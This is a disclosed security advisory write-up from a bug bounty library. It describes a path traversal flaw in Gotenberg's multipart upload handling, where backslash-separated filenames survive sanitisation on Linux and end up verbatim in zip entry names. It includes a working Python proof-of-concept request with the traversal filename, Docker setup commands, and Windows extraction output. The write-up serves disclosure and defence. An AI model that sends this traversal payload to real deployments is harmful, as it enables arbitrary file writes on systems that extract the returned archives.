# Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

Gotenberg's filepath.Base on Linux fails to strip backslashes, so a multipart filename with Windows-style ..\ traversal lands verbatim as a zip entry name, enabling arbitrary file write on Windows extractors.

- Payout: Research
- Severity: high
- Program: Gotenberg
- Found by: amwhoi
- Disclosed: 2026-05-29
- CVE: CVE-2026-44829
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hwc4-gmrw-5222
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hwc4-gmrw-5222
- Tags: area:web domain:oss domain:web impact:integrity kind:research platform:ghsa sev:high tech:go technique:parser-differential technique:source-review vuln:path-traversal

**Target:** Gotenberg HTTP API multipart upload / zip output routes
**Root cause:** filepath.Base is OS-specific and does not treat backslash as a separator on Linux, so Windows-style traversal sequences in multipart filenames survive sanitisation and are written verbatim into the output zip entry name.
**Steps:**
1. Start gotenberg/gotenberg:8.32.0 on port 3000.
2. Merge two stub PDFs via `/forms/pdfengines/merge` to get a 2-page PDF.
3. POST to `/forms/pdfengines/split` with `splitMode=intervals`, `splitSpan=1`, and multipart filename `..\..\..\..\Windows\System32\evil.pdf` (use Python requests to preserve backslashes).
4. Response is a zip whose entries are `..\..\..\..\Windows\System32\evil_0.pdf` and `..\..\..\..\Windows\System32\evil_1.pdf` (confirmed in raw central-directory hex).
5. On Windows, extract with 7-Zip/WinRAR/.NET ZipFile.ExtractToDirectory to write outside the extraction directory.
**How found:** Reporter noticed filepath.Base is OS-dependent: on Linux it does not strip backslashes, so Windows-style traversal filenames pass through sanitisation. Traced the filename through ctx.diskToOriginal, SplitPdfStub, and archives.FilesFromDisk to confirm it lands verbatim in the zip entry name.
**Exploitation:** Attacker submits a multipart upload with a backslash traversal filename to any multi-output route (split, flatten, encrypt, embed, watermark, stamp, rotate, libreoffice convert, pdfengines convert) or via downloadFrom Content-Disposition. Gotenberg returns a zip containing entries with `..\` prefixes; a Windows-side consumer that extracts the archive writes files outside the intended directory.
**Escalation:** Reachable across all multi-output routes and via downloadFrom upstream Content-Disposition, widening the attack surface beyond a single endpoint.
**Insight:** When auditing cross-platform services, check whether path sanitisation uses OS-specific primitives (filepath.Base, os.path.basename) on a platform whose separator set differs from the consumer's; backslash-only traversal payloads bypass Linux-side sanitisation but are honored by Windows extractors.

## Proof of concept (copied exactly from the original report)

**Python request delivering backslash traversal filename to /split**

```
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data  = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code}  ctype={r.headers.get("content-type")}  bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)
```

**Docker setup and stub PDF generation for PoC**

```
docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done

# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf

# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
    -F 'files=@stub.pdf;filename=a.pdf' \
    -F 'files=@stub.pdf;filename=b.pdf'
```

**PowerShell Expand-Archive demonstrating traversal on Windows**

```
Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse
# → out\Windows\System32\evil_0.pdf
# → out\Windows\System32\evil_1.pdf
```

